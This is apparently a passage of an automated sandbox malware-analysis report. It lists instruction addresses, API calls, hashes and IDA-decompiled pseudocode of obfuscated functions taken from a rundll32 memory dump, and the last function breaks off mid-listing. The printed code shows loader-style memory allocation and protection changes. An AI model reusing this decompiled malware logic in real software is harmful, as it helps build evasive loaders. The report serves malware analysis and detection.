                                                                          0x00126d63
                                                                          0x00126d6b
                                                                          0x00126d6d
                                                                          0x00126d6f
                                                                          0x00126d73
                                                                          0x00126d7c
                                                                          0x00126d86
                                                                          0x00126d90
                                                                          0x00126d93
                                                                          0x00126d96
                                                                          0x00126d9c
                                                                          0x00126da4
                                                                          0x00126dab
                                                                          0x00126db1
                                                                          0x00126dba
                                                                          0x00126dc4
                                                                          0x00126dc5
                                                                          0x00126dc8
                                                                          0x00126dcb
                                                                          0x00126dce
                                                                          0x00126dcf
                                                                          0x00126dd0
                                                                          0x00126dda
                                                                          0x00126de4
                                                                          0x00126de8
                                                                          0x00126df1
                                                                          0x00126dfb
                                                                          0x00126dfe
                                                                          0x00126e06
                                                                          0x00126e0d
                                                                          0x00126e13
                                                                          0x00126e16
                                                                          0x00126e19
                                                                          0x00126e1c
                                                                          0x00126e20
                                                                          0x00126e24
                                                                          0x00126e2e
                                                                          0x00126e31
                                                                          0x00126e34
                                                                          0x00126e3b
                                                                          0x00126e3e
                                                                          0x00126e48
                                                                          0x00126e4b
                                                                          0x00126e4e
                                                                          0x00126e5a
                                                                          0x00126e62
                                                                          0x00126e66
                                                                          0x00126e6b
                                                                          0x00126e6c
                                                                          0x00126e72
                                                                          0x00126e75
                                                                          0x00126e78
                                                                          0x00126e7b
                                                                          0x00126e7d
                                                                          0x00126e84
                                                                          0x00126e87
                                                                          0x00126e8a
                                                                          0x00126e91
                                                                          0x00126e94
                                                                          0x00126e97
                                                                          0x00126e9d
                                                                          0x00126ea4
                                                                          0x00126eaa
                                                                          0x00126eaa
                                                                          0x00126eb9
                                                                          0x00126ec8
                                                                          0x00126ec9
                                                                          0x00126ec9
                                                                          0x00126ec9
                                                                          0x00126ed4
                                                                          0x00126ed7
                                                                          0x00126ee0
                                                                          0x00126ee2
                                                                          0x00126ee3
                                                                          0x00126ee3
                                                                          0x00126ee3
                                                                          0x00126eec
                                                                          0x00126eef
                                                                          0x00126ef2
                                                                          0x00126f07
                                                                          0x00126f0a
                                                                          0x00126f0d
                                                                          0x00126f10
                                                                          0x00126f11
                                                                          0x00126f14
                                                                          0x00126f1b
                                                                          0x00126f21
                                                                          0x00126f22
                                                                          0x00126f31
                                                                          0x00126f33
                                                                          0x00126f39
                                                                          0x00126f3c
                                                                          0x00126f40
                                                                          0x00126f43
                                                                          0x00126f4b
                                                                          0x00126f4e
                                                                          0x00126f4e
                                                                          0x00126f61
                                                                          0x00126f68

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID: ProtectVirtual
                                                                          • String ID:
                                                                          • API String ID: 544645111-0
                                                                          • Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
                                                                          • Instruction ID: ba02896b2c71fe863e29559e93b1f3a89b472c1f32e8a186127eb33c97e4043c
                                                                          • Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
                                                                          • Instruction Fuzzy Hash: C8C22472844608EFEB049FA0C8C57EEBBF5FF48320F0589ADD899AA145D7345264CF59
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 0012709D, Relevance: 3.1, APIs: 2, Instructions: 115memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          C-Code - Quality: 68%
                                                                          			E0012709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
				void* _t47;
				signed int _t48;
				signed int _t49;
				void* _t51;
				void* _t52;
				void* _t54;
				void* _t55;
				signed int _t59;
				long _t60;
				void* _t62;
				void* _t65;
				void* _t67;
				signed int _t68;
				void* _t72;
				signed int _t75;
				signed int _t78;
				void* _t81;
				signed int _t82;
				long _t87;
				signed int _t89;
				long _t94;
				void* _t97;
				void* _t99;
				long _t101;
				void* _t102;

				_t87 = __esi;
				_t79 = __edi;
				_t72 = __edx;
				_t59 = __ebx;
				 *_t101 = 0xffff0000;
				_t48 = E00122D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
				 *_t101 =  *_t101 | _t59;
				_t60 = _t59;
				if( *_t101 != 0) {
					 *_t101 =  *_t101 + 4;
					 *_t101 =  *_t101 - _t94;
					 *_t101 =  *_t101 + 0x1000;
					 *_t101 =  *_t101 - _t60;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
				}
				 *(_t94 - 8) = 0;
				_push( *(_t94 - 8));
				 *_t101 =  *_t101 ^ _t48;
				_pop( *_t6);
				 *(_t60 + 0x41c60a) = 2;
				 *_t101 = _t94;
				 *(_t60 + 0x41d10e) = _t48;
				_t97 = 0;
				if( *(_t60 + 0x41c166) > 0) {
					_t55 = _t60 + 0x41c60a;
					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
					 *_t101 = _t55 +  *_t101;
					 *_t101 = 0x40;
					_t87 =  *_t101;
					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
					 *_t101 =  *(_t60 + 0x41c166);
					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
				}
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
				_t89 = _t87;
				_push(_t72);
				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
				_t99 = _t97;
				_t49 = E0012746C(_t60, _t72, _t79, _t89);
				_push( *((intOrPtr*)(_t60 + 0x41c627)));
				_pop( *_t24);
				_push( *(_t99 - 8));
				_pop(_t62);
				 *_t101 = _t62;
				_t65 = 0;
				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
				_t81 = _t67;
				_t68 = _t65;
				if(_t67 != 0) {
					 *(_t99 - 8) = 0;
					 *_t101 =  *_t101 ^ _t81;
					_t49 = E00122A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
				}
				_t75 = _t72;
				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
				_t102 = _t101 + 0xc;
				_t82 = _t81 + _t68;
				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
					_push(0);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t82 = _t82; // executed
					_t52 = E00125F16(_t51, _t60, 0, _t75, _t89); // executed
					_push(_t52);
					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
					_t54 = _t52;
					_t51 = E00128F3B(_t54, _t60, 0, _t75, _t82, _t89);
				}
				 *(_t99 - 4) = _t82;
				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
				 *_t41 =  *(_t60 + 0x41d140);
				_t78 =  *(_t99 - 8);
				_push(_t89);
				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
				asm("popad");
				return _t51;
			}




























                                                                          0x0012709d
                                                                          0x0012709d
                                                                          0x0012709d
                                                                          0x0012709d
                                                                          0x0012709e
                                                                          0x001270a5
                                                                          0x001270ab
                                                                          0x001270ae
                                                                          0x001270af
                                                                          0x001270b2
                                                                          0x001270b6
                                                                          0x001270ba
                                                                          0x001270c1
                                                                          0x001270cb
                                                                          0x001270d0
                                                                          0x001270d0
                                                                          0x001270d6
                                                                          0x001270dd
                                                                          0x001270e0
                                                                          0x001270e3
                                                                          0x001270e9
                                                                          0x001270f5
                                                                          0x001270fc
                                                                          0x00127102
                                                                          0x0012710a
                                                                          0x0012710c
                                                                          0x00127112
                                                                          0x00127119
                                                                          0x0012711d
                                                                          0x0012712b
                                                                          0x0012712b
                                                                          0x00127135
                                                                          0x00127138
                                                                          0x00127138
                                                                          0x0012713e
                                                                          0x00127146
                                                                          0x0012714a
                                                                          0x0012714b
                                                                          0x00127153
                                                                          0x00127157
                                                                          0x00127158
                                                                          0x0012715d
                                                                          0x00127163
                                                                          0x00127166
                                                                          0x00127169
                                                                          0x0012716c
                                                                          0x00127179
                                                                          0x0012717d
                                                                          0x0012717f
                                                                          0x00127181
                                                                          0x00127182
                                                                          0x00127184
                                                                          0x0012718e
                                                                          0x00127191
                                                                          0x00127191
                                                                          0x0012719d
                                                                          0x0012719e
                                                                          0x0012719e
                                                                          0x0012719e
                                                                          0x001271a6
                                                                          0x001271a8
                                                                          0x001271b0
                                                                          0x001271b4
                                                                          0x001271b5
                                                                          0x001271ba
                                                                          0x001271c2
                                                                          0x001271c6
                                                                          0x001271c7
                                                                          0x001271c7
                                                                          0x001271cc
                                                                          0x001271e0
                                                                          0x001271ea
                                                                          0x001271f0
                                                                          0x001271f1
                                                                          0x001271f7
                                                                          0x001271fb
                                                                          0x001271ff
                                                                          0x00127201

                                                                          APIs
                                                                          • VirtualAlloc.KERNELBASE(00000000), ref: 001270D0
                                                                          • VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 00127138
                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID: Virtual$AllocProtect
                                                                          • String ID:
                                                                          • API String ID: 2447062925-0
                                                                          • Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
                                                                          • Instruction ID: cd80276380603da8be6b794a7bb60ecaf61f25bd674d736e943e541a616f8563
                                                                          • Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
                                                                          • Instruction Fuzzy Hash: 73418372908314EFEB04AF54DC85BAEBBF5EF88310F05845DEC88AB246C7701960DB69
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Non-executed Functions

                                                                          Function 00121B1E, Relevance: 1.4, Strings: 1, Instructions: 109COMMONCrypto
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 238 121b1e-121b45 call 122467 241 121b53-121b5d 238->241 242 121b47-121b51 238->242 243 121b64-121b7e 241->243 242->243 244 121b80-121b87 243->244 245 121b89-121b9a 243->245 246 121b9f-121ba8 244->246 245->246 247 121bb7-121bc8 246->247 248 121baa-121bb5 246->248 249 121bce-121ccd call 129159 247->249 248->249
                                                                          C-Code - Quality: 100%
                                                                          			E00121B1E(void* __eax, void* __ebx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t58;
				signed int _t60;
				void* _t77;
				void* _t89;
				void* _t90;
				signed int _t91;
				void* _t95;
				signed int _t96;
				signed int _t97;
				signed int _t101;
				signed int _t105;
				signed int _t106;

				_t89 = __ebx;
				_t58 = E00122467(__eax, __ebx,  *((intOrPtr*)(__ebx + 0x41c395)),  *((intOrPtr*)(__ebx + 0x41c290)),  *((intOrPtr*)(__ebx + 0x41c3b1)));
				if(_t58 < 0xda63) {
					_t58 = (_t58 & 0x00000000) - 0xffffffff;
				} else {
					_a8 = _a8 & 0xffffffff;
					_t105 = _t105 ^  *(__ebx + 0x41c8a6);
				}
				_t106 = _t105 | _t101;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) - 1;
				_v12 = _v12 - 1;
				_t60 = _t58 & 0x00000000;
				_t96 = _t95 - _t60;
				if(_a4 < 0x7e4d) {
					_v16 = 0x581;
					 *(_t89 + 0x41c8a6) = 0xffffffff;
					_t97 = 1;
				} else {
					_t97 = _t96 ^ 0x00000034;
					_a4 = _a4 ^ 0xffffffff;
				}
				_t91 = _t90 - 0xffffffff;
				if(_t60 - 1 >= 0x60f9) {
					 *(_t89 + 0x41c8a6) = 1;
					_v16 = _v16 + 0xfffffe47;
				} else {
					_t106 =  *(_t89 + 0x41c8a6);
				}
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + _t101;
				_v8 = _v8 | _t101;
				_v8 = _v8 - 1;
				_v12 = _v12 ^ 0x00000000;
				 *(_t89 + 0x41c8a6) = 0xfffff898;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) - 1;
				_v16 = 1;
				_a4 = (_t106 + 0x00000001 - 0x00000001 & 0x00000000) + 1;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + (_t91 ^ _t97 & 0x00000000) + 1 + _v12;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + 1;
				_v8 = 1;
				_t77 = E00129159(_v16, _t89, (_t106 + 0x00000001 - 0x00000001 & 0x00000000) + 1);
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) + 1;
				_a4 = _a4 + (_t77 + 0x00000001 - 0x00000001 ^ 0x310) + 0xffffffff;
				 *(_t89 + 0x41c8a6) =  *(_t89 + 0x41c8a6) | 0x00000316;
				return 0xfffffffffffff815;
			}


















                                                                          0x00121b1e
                                                                          0x00121b3b
                                                                          0x00121b45
                                                                          0x00121b58
                                                                          0x00121b47
                                                                          0x00121b47
                                                                          0x00121b4b
                                                                          0x00121b4b
                                                                          0x00121b64
                                                                          0x00121b66
                                                                          0x00121b6c
                                                                          0x00121b70
                                                                          0x00121b75
                                                                          0x00121b7e
                                                                          0x00121b89
                                                                          0x00121b90
                                                                          0x00121b9a
                                                                          0x00121b80
                                                                          0x00121b80
                                                                          0x00121b83
                                                                          0x00121b83
                                                                          0x00121b9f
                                                                          0x00121ba8
                                                                          0x00121bb7
                                                                          0x00121bc1
                                                                          0x00121baa
                                                                          0x00121baa
                                                                          0x00121bb0
                                                                          0x00121be4
                                                                          0x00121bfe
                                                                          0x00121c01
                                                                          0x00121c0c
                                                                          0x00121c1c
                                                                          0x00121c29
                                                                          0x00121c3c
                                                                          0x00121c44
                                                                          0x00121c47
                                                                          0x00121c4d
                                                                          0x00121c56
                                                                          0x00121c5e
                                                                          0x00121c74
                                                                          0x00121c91
                                                                          0x00121cb3
                                                                          0x00121ccd

                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: M~
                                                                          • API String ID: 0-3014885260
                                                                          • Opcode ID: 12ddc3b1168ff52f07e762c651a63c9af5d943a6ffcb7562eca4daf5dfd61062
                                                                          • Instruction ID: f6958d5c3f7452cb7c7ccb53f391627d58085ecbea05c1dd9652864b2e049daa
                                                                          • Opcode Fuzzy Hash: 12ddc3b1168ff52f07e762c651a63c9af5d943a6ffcb7562eca4daf5dfd61062
                                                                          • Instruction Fuzzy Hash: 5941D773810A159FEB10DE7CCCC97CA3A71EF90335F1883669C399A1D9D33886558B58
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00123A14, Relevance: .9, Instructions: 925COMMONCrypto
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 392 123a14-123a4c 393 123a63-123a67 392->393 394 123a4e-123a5c 392->394 395 12414f-124153 393->395 396 123a6d-123b0b 393->396 394->393 397 124469-12446d 395->397 398 124159-124201 395->398 410 123b3d-123bab 396->410 411 123b0d-123b3c 396->411 399 124473-124549 397->399 400 12454c-1245b7 397->400 415 124203-12423a 398->415 416 12423b-124344 398->416 399->400 412 1245f5-1247a5 400->412 413 1245b9-1245f2 400->413 428 123bcf-123c53 410->428 429 123bad-123bc6 410->429 411->410 445 1247a7-1247c4 412->445 446 1247cd-12482b 412->446 413->412 415->416 443 124346-124366 416->443 444 12436f-1243d3 416->444 437 123c86-123d40 428->437 438 123c55-123c80 428->438 429->428 457 123d72-123df4 437->457 458 123d42-123d6c 437->458 438->437 443->444 444->400 445->446 452 12482e-124839 446->452 453 12483b-124849 452->453 454 12484d-124864 452->454 453->454 454->452 456 124866-1248c1 454->456 463 123df6-123e0e 457->463 464 123e17-123f23 457->464 458->457 463->464 471 123f60-123fa8 464->471 472 123f25-123f5f 464->472 472->471
                                                                          C-Code - Quality: 85%
                                                                          			E00123A14(signed int __ebx, void* __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				signed int _t498;
				signed int _t503;
				void* _t505;
				void* _t506;
				signed int _t510;
				signed int _t513;
				signed int _t516;
				signed int _t521;
				void* _t523;
				void* _t525;
				intOrPtr _t526;
				void _t529;
				signed int _t533;
				intOrPtr _t539;
				signed int _t544;
				signed int _t546;
				signed int _t551;
				signed int _t554;
				void* _t556;
				signed int _t557;
				void* _t560;
				signed int _t565;
				signed int _t566;
				signed int _t569;
				void* _t573;
				void* _t575;
				signed int _t576;
				signed int _t579;
				intOrPtr _t581;
				signed int _t587;
				signed int _t589;
				void* _t592;
				void* _t594;
				signed int _t595;
				void* _t599;
				void* _t601;
				intOrPtr _t602;
				void* _t605;
				void* _t607;
				void* _t608;
				signed int _t613;
				signed int _t614;
				void* _t616;
				void* _t618;
				signed int _t623;
				void* _t625;
				signed int _t626;
				signed int _t629;
				signed int _t637;
				void* _t639;
				void* _t641;
				void* _t642;
				signed int _t645;
				signed int _t648;
				signed int _t660;
				signed int _t663;
				signed int _t665;
				signed int _t672;
				signed int _t675;
				signed int _t677;
				signed int _t679;
				signed int _t682;
				void* _t685;
				signed int _t692;
				signed int _t693;
				signed int _t702;
				signed int _t704;
				signed int _t706;
				signed int _t708;
				signed int _t712;
				signed int _t714;
				signed int _t717;
				signed int _t720;
				void* _t723;
				signed int _t725;
				signed int _t727;
				signed int _t730;
				signed int _t731;
				signed int _t733;
				signed int _t740;
				signed int _t741;
				signed int _t746;
				signed int _t749;
				signed int _t751;
				signed int _t753;
				signed int _t755;
				signed int _t758;
				signed int _t761;
				signed int _t765;
				signed int _t769;
				signed int _t774;
				signed int _t779;
				signed int _t784;
				signed int _t787;
				signed int _t790;
				signed int _t792;
				signed int _t795;
				signed int _t798;
				void* _t803;
				void* _t810;
				signed int _t812;
				signed int _t815;
				signed int _t820;
				signed int _t823;
				signed int _t825;
				signed int _t828;
				signed int _t834;
				signed int _t839;
				void* _t840;
				signed int _t844;
				signed int _t849;
				void* _t851;
				signed int _t853;
				signed int _t856;
				signed int _t859;
				signed int _t863;
				signed int _t864;
				signed int _t867;
				signed int _t871;
				signed int _t874;
				signed int _t878;
				signed int* _t879;
				signed int* _t880;
				signed int* _t881;
				signed int* _t882;
				signed int* _t883;
				signed int* _t884;
				signed int* _t885;
				signed int* _t889;
				signed int* _t890;
				signed int* _t891;
				signed int* _t892;
				signed int* _t893;
				signed int* _t894;
				signed int* _t895;
				signed int* _t896;
				signed int* _t897;
				signed int* _t898;
				signed int* _t899;
				signed int* _t900;

				_t740 = __edx;
				_t660 = __ebx;
				_push(__edi);
				 *_t878 =  *_t878 ^ __edi;
				 *_t878 =  *_t878 | _t863;
				_t864 = _t878;
				_t879 = _t878 + 0xffffffdc;
				_push(__edi);
				 *_t879 =  *_t879 ^ __edi;
				 *_t879 =  *_t879 | __ebx;
				_push(_a8);
				_pop( *_t2);
				_push(_v40);
				_pop(_t792);
				_t675 = _v48;
				_v48 =  *((intOrPtr*)(_t792 + 0xc));
				_pop( *_t6);
				_v48 =  *((intOrPtr*)(_t792 + 4));
				_pop(_t834);
				 *_t9 = _t864;
				if(_v20 == 1) {
					_v12 = 7;
					_v16 = 1;
					_v28 = 8;
				}
				if(_v20 != 0) {
					if(_v20 != 2) {
						if(_v20 == 4) {
							_t312 = _t660 + 0x41d1be; // 0x41d1be
							_v48 = _t312;
							_t314 = _t660 + 0x41c0a8; // 0x41c0a8
							 *_t879 =  *_t879 & 0x00000000;
							 *_t879 =  *_t879 ^ _t314;
							_push( *((intOrPtr*)(_t660 + 0x41f068))(_t834, _v40));
							_pop( *_t316);
							_push(_v36);
							_pop( *_t318);
							_v12 = 1;
							_t320 = _t660 + 0x41c6f8; // 0x41c6f8
							_v36 = _v36 & 0x00000000;
							 *_t879 =  *_t879 ^ _t320;
							_t544 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36);
							_v36 = _t740;
							 *(_t660 + 0x41c674) =  *(_t660 + 0x41c674) & 0x00000000;
							 *(_t660 + 0x41c674) =  *(_t660 + 0x41c674) | _t740 ^ _v36 | _t544;
							_t769 = _v36;
							_v16 = 0x55;
							_t333 = _t660 + 0x41c356; // 0x41c356
							_v32 = _v32 & 0x00000000;
							 *_t879 =  *_t879 | _t333;
							_t546 =  *((intOrPtr*)(_t660 + 0x41f060))(_v32);
							_v40 = _t792;
							 *(_t660 + 0x41cd7d) =  *(_t660 + 0x41cd7d) & 0x00000000;
							 *(_t660 + 0x41cd7d) =  *(_t660 + 0x41cd7d) | _t792 & 0x00000000 ^ _t546;
							_t792 = _v40;
							_v28 = 2;
							_t345 = _t660 + 0x41cc3e; // 0x41cc3e
							_v40 = _v40 & 0x00000000;
							 *_t879 =  *_t879 ^ _t345;
							_t349 = _t660 + 0x41cf5b; // 0x41cf5b
							 *_t879 =  *_t879 ^ _t834;
							 *_t879 = _t349;
							_t498 =  *((intOrPtr*)(_t660 + 0x41f068))(_t834, _v40);
							_v36 = _t769;
							 *(_t660 + 0x41c1cd) =  *(_t660 + 0x41c1cd) & 0x00000000;
							 *(_t660 + 0x41c1cd) =  *(_t660 + 0x41c1cd) | _t769 & 0x00000000 | _t498;
							_t740 = _v36;
						}
					} else {
						_t221 = _t660 + 0x41cb7a; // 0x41cb7a
						_v32 = 0;
						_v48 = _v48 + _t221;
						_t224 = _t660 + 0x41c8ec; // 0x41c8ec
						_v40 = 0;
						 *_t879 =  *_t879 ^ _t224;
						_t551 =  *((intOrPtr*)(_t660 + 0x41f068))(_v40, _v32);
						 *(_t660 + 0x41c6f4) =  *(_t660 + 0x41c6f4) & 0x00000000;
						 *(_t660 + 0x41c6f4) =  *(_t660 + 0x41c6f4) ^ (_t834 & 0x00000000 | _t551);
						_t844 = _t834;
						_t232 = _t660 + 0x41c379; // 0x41c379
						_v36 = _v36 & 0x00000000;
						 *_t879 =  *_t879 + _t232;
						_t236 = _t660 + 0x41c532; // 0x41c532
						_v36 = _v36 & 0x00000000;
						 *_t879 =  *_t879 | _t236;
						_t554 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36, _v36);
						 *_t879 = _t554;
						_t242 = _t660 + 0x41d201; // 0x41d201
						 *_t879 = _t242;
						_t556 =  *((intOrPtr*)(_t660 + 0x41f060))(_v36, _v40);
						_t702 = _t675 & 0x00000000 |  *_t879;
						_t889 =  &(_t879[1]);
						 *_t889 =  *_t889 + _t792;
						_t810 = _t556;
						_t557 = _t810 + _t702;
						_t812 = 0;
						_t704 = _t702 & 0x00000000 ^ (_t557 ^  *_t889 |  *(_t660 + 0x41cc21));
						_t560 = _t557;
						if(_t704 > _t560) {
							_t246 = _t660 + 0x41c532; // 0x41c532
							 *_t889 =  *_t889 & 0x00000000;
							 *_t889 =  *_t889 | _t246;
							_t247 = _t660 + 0x41d201; // 0x41d201
							_v40 = _v40 & 0x00000000;
							 *_t889 =  *_t889 | _t247;
							_t587 =  *((intOrPtr*)(_t660 + 0x41f064))(_v40, _t740);
							 *(_t660 + 0x41d32e) =  *(_t660 + 0x41d32e) & 0x00000000;
							 *(_t660 + 0x41d32e) =  *(_t660 + 0x41d32e) | _t864 -  *_t889 ^ _t587;
							_t864 = _t864;
						}
						_t890 = _t889 - 0xfffffffc;
						 *_t890 =  *_t890 & 0x00000000;
						 *_t890 =  *_t890 |  *_t889;
						_t256 = _t660 + 0x41d01d; // 0x41d01d
						 *_t890 =  *_t890 ^ _t812;
						 *_t890 =  *_t890 | _t256;
						_t257 = _t660 + 0x41c37d; // 0x41c37d
						 *_t890 = _t257;
						_t565 =  *((intOrPtr*)(_t660 + 0x41f068))(_v32, _t812, _t740);
						_v36 = _t812;
						 *(_t660 + 0x41c9dc) =  *(_t660 + 0x41c9dc) & 0x00000000;
						 *(_t660 + 0x41c9dc) =  *(_t660 + 0x41c9dc) | _t812 & 0x00000000 | _t565;
						_t815 = _v36;
						_t566 =  *((intOrPtr*)(_t660 + 0x41f060))();
						 *_t890 =  *_t890 ^ _t844;
						 *_t890 =  *_t890 | _t566;
						_t267 = _t660 + 0x41c8c2; // 0x41c8c2
						 *_t890 =  *_t890 - _t660;
						 *_t890 =  *_t890 + _t267;
						_t268 = _t660 + 0x41c737; // 0x41c737
						 *_t890 =  *_t890 & 0x00000000;
						 *_t890 =  *_t890 ^ _t268;
						_t569 =  *((intOrPtr*)(_t660 + 0x41f068))(_t815, _t660, _t844);
						 *_t270 = _t569;
						_push(_v36);
						_pop( *_t272);
						_t891 = _t890 - 0xfffffffc;
						_v36 = _t815;
						 *(_t660 + 0x41c606) = _t569 & 0x00000000 |  *_t890;
						_t792 = _v36;
						_v12 = 3;
						_t277 = _t660 + 0x41d2fe; // 0x41d2fe
						_v32 = 0;
						 *_t891 =  *_t891 | _t277;
						_t573 =  *((intOrPtr*)(_t660 + 0x41f060))(_v32);
						 *_t891 =  *_t891 ^ _t792;
						 *_t891 =  *_t891 + _t573;
						_t281 = _t660 + 0x41d22a; // 0x41d22a
						_v40 = _v40 & 0x00000000;
						 *_t891 =  *_t891 | _t281;
						_t575 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _t792);
						_t706 = _t704 & 0x00000000 |  *_t891;
						_t879 =  &(_t891[1]);
						_v40 = _t740;
						_push(_t706 + _t575);
						_t774 = _v40;
						_pop(_t576);
						_v36 = _t576;
						_t708 = _t706 & 0x00000000 ^ (_t576 ^ _v36 |  *(_t660 + 0x41c48f));
						_t579 = _v36;
						if(_t708 > _t579) {
							_t292 = _t660 + 0x41d2fe; // 0x41d2fe
							_v40 = _v40 & 0x00000000;
							 *_t879 =  *_t879 + _t292;
							_t296 = _t660 + 0x41d22a; // 0x41d22a
							_v36 = 0;
							 *_t879 =  *_t879 ^ _t296;
							_t579 =  *((intOrPtr*)(_t660 + 0x41f064))(_v36, _v40);
						}
						 *_t879 = _t844;
						 *(_t660 + 0x41c2cf) = 0 ^ _t579;
						_t834 = 0;
						_v16 = 0x11;
						_t302 = _t660 + 0x41d09f; // 0x41d09f
						 *_t879 =  *_t879 - _t792;
						 *_t879 =  *_t879 + _t302;
						_t581 =  *((intOrPtr*)(_t660 + 0x41f060))(_t792);
						_v40 = _t708;
						 *((intOrPtr*)(_t660 + 0x41ce4e)) = _t581;
						_t675 = _v40;
						_v28 = 4;
						_t308 = _t660 + 0x41c4f7; // 0x41c4f7
						 *_t879 =  *_t879 ^ _t675;
						 *_t879 =  *_t879 + _t308;
						_t498 =  *((intOrPtr*)(_t660 + 0x41f060))(_t675);
						 *_t879 = _t774;
						 *(_t660 + 0x41c895) = 0 ^ _t498;
						_t740 = 0;
					}
					_t741 = _t740 ^ _t740;
					_v48 = _v48 - _t792;
					_v48 = _t741;
					_t357 = _t660 + 0x41c61d; // 0x41c61d
					 *_t879 =  *_t879 ^ _t834;
					 *_t879 = _t357;
					_t503 =  *((intOrPtr*)(_t660 + 0x41f060))(_t834, _t792, _t498);
					 *_t879 = _t503;
					_t360 = _t660 + 0x41cf67; // 0x41cf67
					_v40 = 0;
					 *_t879 =  *_t879 ^ _t360;
					_t505 =  *((intOrPtr*)(_t660 + 0x41f060))(_v40, _v32);
					_pop( *_t364);
					_t677 = _t675 & 0x00000000 ^ _v40;
					_v40 = _t792;
					_push(_t677 + _t505);
					_t795 = _v40;
					_pop(_t506);
					_t679 = _t677 & 0x00000000 | _t864 & 0x00000000 ^  *(_t660 + 0x41c5dc);
					_t867 = _t864;
					if(_t679 > _t506) {
						_t369 = _t660 + 0x41c61d; // 0x41c61d
						_v32 = 0;
						 *_t879 =  *_t879 ^ _t369;
						_t372 = _t660 + 0x41cf67; // 0x41cf67
						_v36 = 0;
						 *_t879 =  *_t879 | _t372;
						_t539 =  *((intOrPtr*)(_t660 + 0x41f064))(_v36, _v32);
						_v32 = _t679;
						 *((intOrPtr*)(_t660 + 0x41cf4f)) = _t539;
						_t679 = _v32;
					}
					_t880 =  &(_t879[1]);
					 *_t880 = _t679;
					_t682 = 0;
					 *_t880 = _t741 & 0x00000000 |  *_t879;
					_t381 = _t660 + 0x41cef6; // 0x41cef6
					_v32 = _v32 & 0x00000000;
					 *_t880 =  *_t880 | _t381;
					_t385 = _t660 + 0x41ceb9; // 0x41ceb9
					 *_t880 =  *_t880 ^ _t867;
					 *_t880 =  *_t880 ^ _t385;
					_t510 =  *((intOrPtr*)(_t660 + 0x41f068))(_t867, _v32, _v40);
					 *(_t660 + 0x41caf5) =  *(_t660 + 0x41caf5) & 0x00000000;
					 *(_t660 + 0x41caf5) =  *(_t660 + 0x41caf5) | _t682 ^  *_t880 | _t510;
					_t685 = _t682;
					_t881 = _t880 - 0xfffffffc;
					_t746 = _t510 % _v28;
					 *_t881 =  *_t881 & 0x00000000;
					 *_t881 =  *_t881 | _t746;
					_t397 = _t660 + 0x41c52d; // 0x41c52d
